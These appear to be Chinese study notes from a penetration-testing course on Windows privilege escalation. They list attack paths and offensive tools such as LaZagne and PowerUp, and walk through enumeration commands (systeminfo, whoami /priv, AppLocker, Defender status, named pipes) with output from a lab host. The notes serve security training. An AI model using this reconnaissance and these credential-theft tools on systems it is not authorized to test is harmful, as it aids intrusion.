Windows 权限提升的总体目标是进一步将系统的访问权限提升到 Local Administrators
组或 NT AUTHORITY\SYSTEM
LocalSystem 账户。
Privilege Escalation Ways
Privilege
Escalation
Abusing Windows group privileges
滥用 Windows 组权限
Abusing Windows user privileges
滥用 Windows 用户权限
Bypassing User Account Control
绕过用户账户控制
Abusing weak service/file permissions
滥用弱服务/文件权限
Leveraging unpatched kernel exploits
利用未修补的内核漏洞
Credential theft
凭证盗窃
Traffic Capture
流量捕获
and more.
…
Tools
Tools
Description
Seatbelt
用于执行各种本地特权升级检查的 C# 项目
winPEAS
WinPEAS 是一个脚本,用于搜索在 Windows 主机上提升权限的可能路径。所有检查均在此处说明
PowerUp.ps1
PowerShell 脚本用于查找依赖于错误配置的常见 Windows 特权提升向量。它还可用于利用发现的一些问题
SharpUp
C# 版本的 PowerUp
JAWS
使用 PowerShell 2.0 编写的用于枚举特权升级向量的 PowerShell 脚本
SessionGopher
SessionGopher 是一个 PowerShell 工具,用于查找和解密远程访问工具的已保存会话信息。它提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 已保存的会话信息
Watson
Watson 是一个 .NET 工具,旨在枚举缺失的 KB 并建议利用权限提升漏洞。
LaZagne
用于从 Web 浏览器、聊天工具、数据库、Git、电子邮件、内存转储、PHP、系统管理工具、无线网络配置、内部 Windows 密码存储机制等检索存储在本地机器上的密码的工具
Windows Exploit Suggester - Next Generation
WES-NG 是一款基于 Windowssysteminfo
实用程序输出的工具,它提供了操作系统易受攻击的漏洞列表,包括针对这些漏洞的任何攻击。Windows XP 和 Windows 10 之间的所有 Windows 操作系统(包括其 Windows Server 对应版本)均受支持
sysinternals-suite
将在枚举中使用 Sysinternals 的几种工具,包括AccessChk 、PipeList 和PsService
已编译好的项目 https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
Situational Awareness ifconfig 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 C:\> ipconfig /all ...SNPI ... Ethernet adapter Ethernet1 : Connection -specific DNS Suffix . : Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter Physical Address . . . . . . . . . : 00-50-56-B9 -C5 -4B DHCP Enabled . . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link -local IPv6 Address . . . . . : fe80 ::f055:fefd :b1b :9919%9(Preferred ) IPv4 Address . . . . . . . . . . . : 192.168.20.56(Preferred ) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 DHCPv6 IAID . . . . . . . . . . . : 151015510 DHCPv6 Client DUID . . . . . . . . : 00-01-00-01-27-ED -DB -68-00-50-56-B9 -90-94 DNS Servers . . . . . . . . . . . : 8.8.8.8 NetBIOS over Tcpip . . . . . . . . : Enabled Ethernet adapter Ethernet0 : Connection -specific DNS Suffix . : .\ Description . . . . . . . . . . . : Intel (R ) 82574L Gigabit Network Connection Physical Address . . . . . . . . . : 00-50-56-B9 -90-94 DHCP Enabled . . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IPv6 Address . . . . . . . . . . . : dead:beef ::e4db :5ea3 :2775:8d4d (Preferred ) Link -local IPv6 Address . . . . . : fe80 ::e4db :5ea3 :2775:8d4d %4(Preferred ) IPv4 Address . . . . . . . . . . . : 10.129.43.8(Preferred ) Subnet Mask . . . . . . . . . . . : 255.255.0.0 Lease Obtained . . . . . . . . . . : Thursday , March 25, 2021 9:24:45 AM Lease Expires . . . . . . . . . . : Monday , March 29, 2021 1:28:44 PM Default Gateway . . . . . . . . . : fe80 ::250:56ff:feb9 :4ddf %4 10.129.0.1 DHCP Server . . . . . . . . . . . : 10.129.0.1 DHCPv6 IAID . . . . . . . . . . . : 50352214 DHCPv6 Client DUID . . . . . . . . : 00-01-00-01-27-ED -DB -68-00-50-56-B9 -90-94 DNS Servers . . . . . . . . . . . : 1.1.1.1 8.8.8.8 NetBIOS over Tcpip . . . . . . . . : Enabled ...SNPI ...
arp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 C:\> arp -a Interface : 10.129.43.8 --- 0x4 Internet Address Physical Address Type 10.129.0.1 00-50-56-b9 -4d -df dynamic 10.129.43.12 00-50-56-b9 -da -ad dynamic 10.129.43.13 00-50-56-b9 -5b -9f dynamic 10.129.255.255 ff -ff -ff -ff -ff -ff static 224.0.0.22 01-00-5e -00-00-16 static 224.0.0.252 01-00-5e -00-00-fc static 224.0.0.253 01-00-5e -00-00-fd static 239.255.255.250 01-00-5e -7f -ff -fa static 255.255.255.255 ff -ff -ff -ff -ff -ff static Interface : 192.168.20.56 --- 0x9 Internet Address Physical Address Type 192.168.20.255 ff -ff -ff -ff -ff -ff static 224.0.0.22 01-00-5e -00-00-16 static 224.0.0.252 01-00-5e -00-00-fc static 239.255.255.250 01-00-5e -7f -ff -fa static 255.255.255.255 ff -ff -ff -ff -ff -ff static
route 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 C:\> route print =========================================================================== Interface List 9...00 50 56 b9 c5 4b ......vmxnet3 Ethernet Adapter 4...00 50 56 b9 90 94 ......Intel (R ) 82574L Gigabit Network Connection 1...........................Software Loopback Interface 1 3...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 5...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo -Interface 13...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 =========================================================================== IPv4 Route Table =========================================================================== Active Routes :Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.129.0.1 10.129.43.8 25 0.0.0.0 0.0.0.0 192.168.20.1 192.168.20.56 271 10.129.0.0 255.255.0.0 On -link 10.129.43.8 281 10.129.43.8 255.255.255.255 On -link 10.129.43.8 281 10.129.255.255 255.255.255.255 On -link 10.129.43.8 281 127.0.0.0 255.0.0.0 On -link 127.0.0.1 331 127.0.0.1 255.255.255.255 On -link 127.0.0.1 331 127.255.255.255 255.255.255.255 On -link 127.0.0.1 331 192.168.20.0 255.255.255.0 On -link 192.168.20.56 271 192.168.20.56 255.255.255.255 On -link 192.168.20.56 271 192.168.20.255 255.255.255.255 On -link 192.168.20.56 271 224.0.0.0 240.0.0.0 On -link 127.0.0.1 331 224.0.0.0 240.0.0.0 On -link 10.129.43.8 281 224.0.0.0 240.0.0.0 On -link 192.168.20.56 271 255.255.255.255 255.255.255.255 On -link 127.0.0.1 331 255.255.255.255 255.255.255.255 On -link 10.129.43.8 281 255.255.255.255 255.255.255.255 On -link 192.168.20.56 271 =========================================================================== Persistent Routes : Network Address Netmask Gateway Address Metric 0.0.0.0 0.0.0.0 192.168.20.1 Default =========================================================================== ...SNPI ...
或
Enumerating Protections Windows Defender 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 PS C:\> Get-MpComputerStatus AMEngineVersion : 1.1 .17900.7 AMProductVersion : 4.10 .14393.2248 AMServiceEnabled : True AMServiceVersion : 4.10 .14393.2248 AntispywareEnabled : True AntispywareSignatureAge : 1 AntispywareSignatureLastUpdated : 3 /28 /2021 2 :59 :13 AM AntispywareSignatureVersion : 1.333 .1470.0 AntivirusEnabled : True AntivirusSignatureAge : 1 AntivirusSignatureLastUpdated : 3 /28 /2021 2 :59 :12 AM AntivirusSignatureVersion : 1.333 .1470.0 BehaviorMonitorEnabled : False ComputerID : 54 AF7DE4-3C7E-4DA0-87AC-831B045B9063 ComputerState : 0 FullScanAge : 4294967295 FullScanEndTime : FullScanStartTime : IoavProtectionEnabled : False LastFullScanSource : 0 LastQuickScanSource : 0 NISEnabled : False NISEngineVersion : 0.0 .0.0 NISSignatureAge : 4294967295 NISSignatureLastUpdated : NISSignatureVersion : 0.0 .0.0 OnAccessProtectionEnabled : False QuickScanAge : 4294967295 QuickScanEndTime : QuickScanStartTime : RealTimeProtectionEnabled : False RealTimeScanDirection : 0 PSComputerName :
AppLocker 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsPublisherConditions : {*\*\*,0.0 .0.0 -*} PublisherExceptions : {} PathExceptions : {} HashExceptions : {} Id : a9e18c21-ff8f-43cf-b9fc-db40eed693ba Name : (Default Rule) All signed packaged apps Description : Allows members of the Everyone group to run packaged apps that are signed. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%PROGRAMFILES%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 921 cc481-6e17-4653-8f75-050b80acca20 Name : (Default Rule) All files located in the Program Files folder Description : Allows members of the Everyone group to run applications that are located in the Program Files folder. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%WINDIR%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : a61c8b2c-a319-4cd0-9690-d2177cad7b51 Name : (Default Rule) All files located in the Windows folder Description : Allows members of the Everyone group to run applications that are located in the Windows folder. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : fd686d83-a829-4351-8ff4-27c7de5755d2 Name : (Default Rule) All files Description : Allows members of the local Administrators group to run all applications. UserOrGroupSid : S-1-5-32-544 Action : Allow PublisherConditions : {*\*\*,0.0 .0.0 -*} PublisherExceptions : {} PathExceptions : {} HashExceptions : {} Id : b7af7102-efde-4369-8a89-7a6a392d1473 Name : (Default Rule) All digitally signed Windows Installer files Description : Allows members of the Everyone group to run digitally signed Windows Installer files. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%WINDIR%\Installer\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 5 b290184-345a-4453-b184-45305f6d9a54 Name : (Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer Description : Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {*.*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 64 ad46ff-0d71-4fa0-a30b-3f3d30c5433d Name : (Default Rule) All Windows Installer files Description : Allows members of the local Administrators group to run all Windows Installer files. UserOrGroupSid : S-1-5-32-544 Action : Allow PathConditions : {%PROGRAMFILES%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 06 dce67b-934c-454f-a263-2515c8796a5d Name : (Default Rule) All scripts located in the Program Files folder Description : Allows members of the Everyone group to run scripts that are located in the Program Files folder. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {%WINDIR%\*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : 9428 c672-5fc3-47f4-808a-a0011f36dd2c Name : (Default Rule) All scripts located in the Windows folder Description : Allows members of the Everyone group to run scripts that are located in the Windows folder. UserOrGroupSid : S-1-1-0 Action : Allow PathConditions : {*} PathExceptions : {} PublisherExceptions : {} HashExceptions : {} Id : ed97d0cb-15ff-430f-b82c-8d7832957725 Name : (Default Rule) All scripts Description : Allows members of the local Administrators group to run all scripts. UserOrGroupSid : S-1-5-32-544 Action : Allow
Test-AppLockerPolicy 1 2 3 4 5 PS C:\> Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User EveryoneFilePath PolicyDecision MatchingRule -------- -------------- ------------ C:\Windows\System32\cmd.exe Denied c:\windows\system32\cmd.exe
Initial Enumeration 在评估期间,可能会在 Windows 主机(无论是否加入域)上获得低权限 shell,并且需要执行权限提升才能进一步获得访问权限。完全攻陷主机可能会让获得敏感文件/文件共享的访问权限,授予捕获流量以获取更多凭据的能力,或者获取可帮助进一步获得访问权限甚至直接提升到 Active Directory 环境中的域管理员的凭据。根据系统配置和遇到的数据类型将权限提升到以下之一:
高权限NT AUTHORITY\SYSTEM
帐户或LocalSystem 帐户,它是一种比本地管理员帐户具有更多权限的高权限帐户,用于运行大多数 Windows 服务。
内置本地administrator
帐户。有些组织会禁用此帐户,但很多组织不会禁用。在客户端环境中,跨多个系统重复使用此帐户的情况并不罕见。
另一个属于本地Administrators
组成员的本地帐户。此组中的任何帐户都将具有与内置administrator
帐户相同的权限。
属于本地Administrators
组的标准(非特权)域用户。
属于本地Administrators
组的域管理员(在 Active Directory 环境中拥有高度特权)。
关键数据
OS name
:了解 Windows 操作系统的类型(工作站或服务器)和级别(Windows 7 或 10、Server 2008、2012、2016、2019 等)将使了解可能可用的工具类型(例如PowerShell
旧版系统上的版本或缺少的版本)。这还可以识别可能存在公开漏洞的操作系统版本。。
Version
:与操作系统版本 一样,可能存在针对特定 Windows 版本漏洞的公开漏洞。Windows 系统漏洞可能会导致系统不稳定甚至完全崩溃。在任何生产系统上运行这些漏洞时都要小心谨慎,并确保在运行漏洞之前完全了解漏洞及其可能造成的后果。
Running Services
:了解主机上运行的服务非常重要,尤其是以NT AUTHORITY\SYSTEM
管理员级别帐户运行的服务。在特权帐户上下文中运行的配置错误或存在漏洞的服务很容易被特权提升。
查看系统本身可以让更好地了解确切的操作系统版本、正在使用的硬件、已安装的程序和安全更新。这将帮助缩小寻找任何可能利用来提升权限的缺失补丁和相关 CVE 的范围。
tasklist
查看正在运行的可执行文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 C:\> tasklist /svc # tasklist /svc /fi "PID eq 1234" Image Name PID Services ========================= ======== ============================================ System Idle Process 0 N /A System 4 N /A smss.exe 316 N /A csrss.exe 424 N /A wininit.exe 528 N /A csrss.exe 540 N /A winlogon.exe 612 N /A services.exe 664 N /A lsass.exe 672 KeyIso , SamSs , VaultSvc svchost.exe 776 BrokerInfrastructure , DcomLaunch , LSM , PlugPlay , Power , SystemEventsBroker svchost.exe 836 RpcEptMapper , RpcSs LogonUI.exe 952 N /A dwm.exe 964 N /A svchost.exe 972 TermService svchost.exe 1008 Dhcp , EventLog , lmhosts , TimeBrokerSvc svchost.exe 364 NcbService , PcaSvc , ScDeviceEnum , TrkWks , UALSVC , UmRdpService <...SNIP ...> FileZilla Server Interfac 5628 N /A jusched.exe 5796 N /A cmd.exe 4132 N /A conhost.exe 4136 N /A TrustedInstaller.exe 1120 TrustedInstaller TiWorker.exe 1816 N /A WmiApSrv.exe 2428 wmiApSrv tasklist.exe 3596 N /A
环境变量 环境变量可以解释很多有关主机配置的信息。
set
打印出环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 C:\> set ALLUSERSPROFILE =C :\ProgramData APPDATA =C :\Users \Administrator \AppData \Roaming CommonProgramFiles =C :\Program Files \Common Files CommonProgramFiles (x86 )=C :\Program Files (x86 )\Common Files CommonProgramW6432 =C :\Program Files \Common Files COMPUTERNAME =WINLPE -SRV01 ComSpec =C :\Windows \system32 \cmd.exe HOMEDRIVE =C :HOMEPATH =\Users \Administrator LOCALAPPDATA =C :\Users \Administrator \AppData \Local LOGONSERVER =\\WINLPE -SRV01 NUMBER_OF_PROCESSORS =6OS =Windows_NT Path =C :\Windows \system32 ;C :\Windows ;C :\Windows \System32 \Wbem ;C :\Windows \System32 \WindowsPowerShell \v1 .0\;C :\Users \Administrator \AppData \Local \Microsoft \WindowsApps ;PATHEXT =.COM ;.EXE ;.BAT ;.CMD ;.VBS ;.VBE ;.JS ;.JSE ;.WSF ;.WSH ;.MSC PROCESSOR_ARCHITECTURE =AMD64 PROCESSOR_IDENTIFIER =AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD PROCESSOR_LEVEL =23PROCESSOR_REVISION =3100ProgramData =C :\ProgramData ProgramFiles =C :\Program Files ProgramFiles (x86 )=C :\Program Files (x86 )ProgramW6432 =C :\Program Files PROMPT =$P $G PSModulePath =C :\Program Files \WindowsPowerShell \Modules ;C :\Windows \system32 \WindowsPowerShell \v1 .0\Modules PUBLIC =C :\Users \Public SESSIONNAME =Console SystemDrive =C :SystemRoot =C :\Windows TEMP =C :\Users \ADMINI ~1\AppData \Local \Temp \1TMP =C :\Users \ADMINI ~1\AppData \Local \Temp \1USERDOMAIN =WINLPE -SRV01 USERDOMAIN_ROAMINGPROFILE =WINLPE -SRV01 USERNAME =Administrator USERPROFILE =C :\Users \Administrator windir =C :\Windows
配置信息 systeminfo
打印系统信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 C:\> systeminfo Host Name : WINLPE -SRV01 OS Name : Microsoft Windows Server 2016 Standard OS Version : 10.0.14393 N /A Build 14393OS Manufacturer : Microsoft Corporation OS Configuration : Standalone Server OS Build Type : Multiprocessor Free Registered Owner : Windows User Registered Organization :Product ID : 00376-30000-00299-AA303 Original Install Date : 3/24/2021, 3:46:32 PM System Boot Time : 3/25/2021, 9:24:36 AM System Manufacturer : VMware , Inc .System Model : VMware7 ,1System Type : x64 -based PC Processor (s ): 3 Processor (s ) Installed . [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz [03]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz BIOS Version : VMware , Inc . VMW71 .00V .16707776.B64 .2008070230, 8/7/2020Windows Directory : C :\Windows System Directory : C :\Windows \system32 Boot Device : \Device \HarddiskVolume2 System Locale : en -us ;English (United States )Input Locale : en -us ;English (United States )Time Zone : (UTC -08:00) Pacific Time (US & Canada )Total Physical Memory : 6,143 MB Available Physical Memory : 3,474 MB Virtual Memory : Max Size : 10,371 MB Virtual Memory : Available : 7,544 MB Virtual Memory : In Use : 2,827 MB Page File Location (s ): C :\pagefile.sys Domain : WORKGROUP Logon Server : \\WINLPE -SRV01 Hotfix (s ): 3 Hotfix (s ) Installed . [01]: KB3199986 [02]: KB5001078 [03]: KB4103723 Network Card (s ): 2 NIC (s ) Installed . [01]: Intel (R ) 82574L Gigabit Network Connection Connection Name : Ethernet0 DHCP Enabled : Yes DHCP Server : 10.129.0.1 IP address (es ) [01]: 10.129.43.8 [02]: fe80 ::e4db :5ea3 :2775:8d4d [03]: dead:beef ::e4db :5ea3 :2775:8d4d [02]: vmxnet3 Ethernet Adapter Connection Name : Ethernet1 DHCP Enabled : No IP address (es ) [01]: 192.168.20.56 [02]: fe80 ::f055:fefd :b1b :9919 Hyper -V Requirements : A hypervisor has been detected . Features required for Hyper -V will not be displayed .
补丁和更新 如果systeminfo
没有显示修补程序,则可以使用带有QFE 的WMI 命令二进制文件通过WMI 进行查询以显示补丁。
1 2 3 4 5 6 C:\> wmic qfe Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status http ://support.microsoft.com /?kbid =3199986 WINLPE -SRV01 Update KB3199986 NT AUTHORITY \SYSTEM 11/21/2016https ://support.microsoft.com /help /5001078 WINLPE -SRV01 Security Update KB5001078 NT AUTHORITY \SYSTEM 3/25/2021http ://support.microsoft.com /?kbid =4103723 WINLPE -SRV01 Security Update KB4103723 NT AUTHORITY \SYSTEM 3/25/2021
或者使用 Get-Hotfix 通过 powershell 查询
1 2 3 4 5 6 7 8 PS C:\> Get-HotFix | ft -AutoSize Source Description HotFixID InstalledBy InstalledOn ------ ----------- -------- ----------- ----------- WINLPE-SRV01 Update KB3199986 NT AUTHORITY\SYSTEM 11 /21 /2016 12 :00 :00 AM WINLPE-SRV01 Update KB4054590 WINLPE-SRV01 \Administrator 3 /30 /2021 12 :00 :00 AM WINLPE-SRV01 Security Update KB5001078 NT AUTHORITY\SYSTEM 3 /25 /2021 12 :00 :00 AM WINLPE-SRV01 Security Update KB3200970 WINLPE-SRV01 \Administrator 4 /13 /2021 12 :00 :00 AM
安装的应用 WMI 还可用于显示已安装的软件。这些信息通常可以指导找到难以发现的漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 C:\> wmic product get name Name Microsoft Visual C ++ 2019 X64 Additional Runtime - 14.24.28127Java 8 Update 231 (64-bit )Microsoft Visual C ++ 2019 X86 Additional Runtime - 14.24.28127VMware Tools Microsoft Visual C ++ 2019 X64 Minimum Runtime - 14.24.28127Microsoft Visual C ++ 2019 X86 Minimum Runtime - 14.24.28127Java Auto Updater <SNIP >
也可以使用Get-WmiObject cmdlet 通过 PowerShell 来执行此操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 PS C:\> Get-WmiObject -Class Win32_Product | select Name, VersionName Version ---- ------- SQL Server 2016 Database Engine Shared 13.2 .5026.0 Microsoft OLE DB Driver for SQL Server 18.3 .0.0 Microsoft Visual C++ 2010 x64 Redistributable - 10.0 .40219 10.0 .40219 Microsoft Help Viewer 2.3 2.3 .28107 Microsoft Visual C++ 2010 x86 Redistributable - 10.0 .40219 10.0 .40219 Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0 .21005 12.0 .21005 Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0 .21005 12.0 .21005 Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28 .29914 14.28 .29914 Microsoft ODBC Driver 13 for SQL Server 13.2 .5026.0 SQL Server 2016 Database Engine Shared 13.2 .5026.0 SQL Server 2016 Database Engine Services 13.2 .5026.0 SQL Server Management Studio for Reporting Services 15.0 .18369.0 Microsoft SQL Server 2008 Setup Support Files 10.3 .5500.0 SSMS Post Install Tasks 15.0 .18369.0 Microsoft VSS Writer for SQL Server 2016 13.2 .5026.0 Java 8 Update 231 (64 -bit ) 8.0 .2310.11 Browser for SQL Server 2016 13.2 .5026.0 Integration Services 15.0 .2000.130 <SNIP>
正在运行的进程 netstat 命令将显示活动的 TCP 和 UDP 连接,这将使更好地了解哪些服务正在本地和外部可访问的端口上监听。可能会发现只有本地主机可访问的易受攻击的服务(登录到主机时),可以利用它来提升权限。
1 2 3 4 5 6 7 8 9 10 11 12 PS C:\> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0 .0 .0 .0 :21 0 .0 .0 .0 :0 LISTENING 1096 TCP 0 .0 .0 .0 :80 0 .0 .0 .0 :0 LISTENING 4 TCP 0 .0 .0 .0 :135 0 .0 .0 .0 :0 LISTENING 840 TCP 0 .0 .0 .0 :445 0 .0 .0 .0 :0 LISTENING 4 TCP 0 .0 .0 .0 :1433 0 .0 .0 .0 :0 LISTENING 3520 TCP 0 .0 .0 .0 :3389 0 .0 .0 .0 :0 LISTENING 968 <...SNIP...>
确定哪些用户登录了系统始终很重要。在规避攻击期间,需要小心谨慎地处理其他用户正在积极工作的主机,以避免被发现。
1 2 3 4 C:\> query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME >administrator rdp -tcp #2 1 Active . 3/25/2021 9:27 AM
当前用户 1 2 3 C:\> echo %USERNAME % htb -student
当前用户权限 1 2 3 4 5 6 7 8 9 C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
当前用户组信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ====================================== ================ ============ ================================================== Everyone Well -known group S -1-1-0 Mandatory group , Enabled by default , Enabled group BUILTIN \Remote Desktop Users Alias S -1-5-32-555 Mandatory group , Enabled by default , Enabled group BUILTIN \Users Alias S -1-5-32-545 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \REMOTE INTERACTIVE LOGON Well -known group S -1-5-14 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \INTERACTIVE Well -known group S -1-5-4 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \Authenticated Users Well -known group S -1-5-11 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \This Organization Well -known group S -1-5-15 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \Local account Well -known group S -1-5-113 Mandatory group , Enabled by default , Enabled group LOCAL Well -known group S -1-2-0 Mandatory group , Enabled by default , Enabled group NT AUTHORITY \NTLM Authentication Well -known group S -1-5-64-10 Mandatory group , Enabled by default , Enabled group Mandatory Label \Medium Mandatory Level Label S -1-16-8192
所有用户 1 2 3 4 5 6 7 8 9 C:\> net user User accounts for \\WINLPE -SRV01 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest helpdesk htb -student jordan sarah secsvc The command completed successfully .
所有组 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 C:\> net localgroup Aliases for \\WINLPE -SRV01 ------------------------------------------------------------------------------- *Access Control Assistance Operators *Administrators *Backup Operators *Certificate Service DCOM Access *Cryptographic Operators *Distributed COM Users *Event Log Readers *Guests *Hyper -V Administrators *IIS_IUSRS *Network Configuration Operators *Performance Log Users *Performance Monitor Users *Power Users *Print Operators *RDS Endpoint Servers *RDS Management Servers *RDS Remote Access Servers *Remote Desktop Users *Remote Management Users *Replicator *Storage Replica Administrators *System Managed Accounts Group *Users The command completed successfully .
特定组详情 1 2 3 4 5 6 7 8 9 10 11 12 13 C:\> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer /domain Members ------------------------------------------------------------------------------- Administrator helpdesk sarah secsvc The command completed successfully .
密码策略 1 2 3 4 5 6 7 8 9 10 11 12 C:\> net accounts Force user logoff how long after time expires ?: Never Minimum password age (days ): 0Maximum password age (days ): 42Minimum password length : 0Length of password history maintained : None Lockout threshold : Never Lockout duration (minutes ): 30Lockout observation window (minutes ): 30Computer role : SERVER The command completed successfully .
密码策略和其他帐户信息 1 2 3 4 5 6 7 8 9 10 11 12 C:\> net accounts Force user logoff how long after time expires ?: Never Minimum password age (days ): 0Maximum password age (days ): 42Minimum password length : 0Length of password history maintained : None Lockout threshold : Never Lockout duration (minutes ): 30Lockout observation window (minutes ): 30Computer role : SERVER The command completed successfully .
Process Communication Access Tokens 在 Windows 中,访问令牌 用于描述进程或线程的安全上下文(安全属性或规则)。令牌包含有关用户帐户身份和与特定进程或线程相关的权限的信息。当用户向系统进行身份验证时,系统会根据安全数据库验证其密码,如果验证正确,则会为其分配一个访问令牌。每次用户与进程交互时,都会提供此令牌的副本以确定其权限级别。
Network Services 与进程交互的最常见方式是通过网络套接字(DNS、HTTP、SMB 等)。netstat命令 将显示活动的 TCP 和 UDP 连接,这将使更好地了解哪些服务正在本地和外部可访问的端口上监听。可能会发现一个只有本地主机可访问的易受攻击的服务(登录到主机时),可以利用它来提升权限。
活动网络连接 1 2 3 4 5 6 7 8 C:\> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 3812 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4 <SNIP >
命名管道 进程之间通信的另一种方式是通过命名管道。管道本质上是存储在内存中的文件,读取后会被清除。
管道有两种类型:命名管道 和匿名管道。命名管道的一个例子是\\.\PipeName\\ExampleNamedPipeServer
。Windows 系统使用客户端-服务器实现进行管道通信。
Sysinternals Suite 中的工具PipeList 来枚举命名管道的实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 C:\> pipelist.exe /accepteula PipeList v1 .02 - Lists open named pipes Copyright (C ) 2005-2016 Mark Russinovich Sysinternals - www.sysinternals.com Pipe Name Instances Max Instances --------- --------- ------------- InitShutdown 3 -1lsass 4 -1ntsvcs 3 -1scerpc 3 -1Winsock2 \CatalogChangeListener -340-0 1 1Winsock2 \CatalogChangeListener -414-0 1 1epmapper 3 -1Winsock2 \CatalogChangeListener -3ec -0 1 1Winsock2 \CatalogChangeListener -44c -0 1 1LSM_API_service 3 -1atsvc 3 -1Winsock2 \CatalogChangeListener -5e0 -0 1 1eventlog 3 -1Winsock2 \CatalogChangeListener -6a8 -0 1 1spoolss 3 -1Winsock2 \CatalogChangeListener -ec0 -0 1 1wkssvc 4 -1trkwks 3 -1vmware -usbarbpipe 5 -1srvsvc 4 -1ROUTER 3 -1vmware -authdpipe 1 1<SNIP >
powershell Get-ChildItem 列出命名管道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 PS C:\> gci \\.\pipe\ Directory: \\.\pipe Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 12 /31 /1600 4 :00 PM 3 InitShutdown------ 12 /31 /1600 4 :00 PM 4 lsass------ 12 /31 /1600 4 :00 PM 3 ntsvcs------ 12 /31 /1600 4 :00 PM 3 scerpc Directory: \\.\pipe\Winsock2 Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 12 /31 /1600 4 :00 PM 1 Winsock2\CatalogChangeListener-34c-0 Directory: \\.\pipe Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 12 /31 /1600 4 :00 PM 3 epmapper<SNIP>
